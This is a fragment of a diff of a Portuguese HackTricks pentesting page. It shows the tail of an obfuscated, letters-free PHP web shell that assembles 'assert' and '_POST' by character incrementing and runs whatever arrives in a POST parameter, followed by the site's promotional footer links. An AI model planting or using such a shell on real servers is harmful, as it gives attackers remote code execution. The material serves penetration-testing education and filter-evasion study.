$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
@ -390,7 +428,7 @@ $____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
@ -398,10 +436,10 @@ $___($_[_]); // ASSERT($_POST[_]);
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>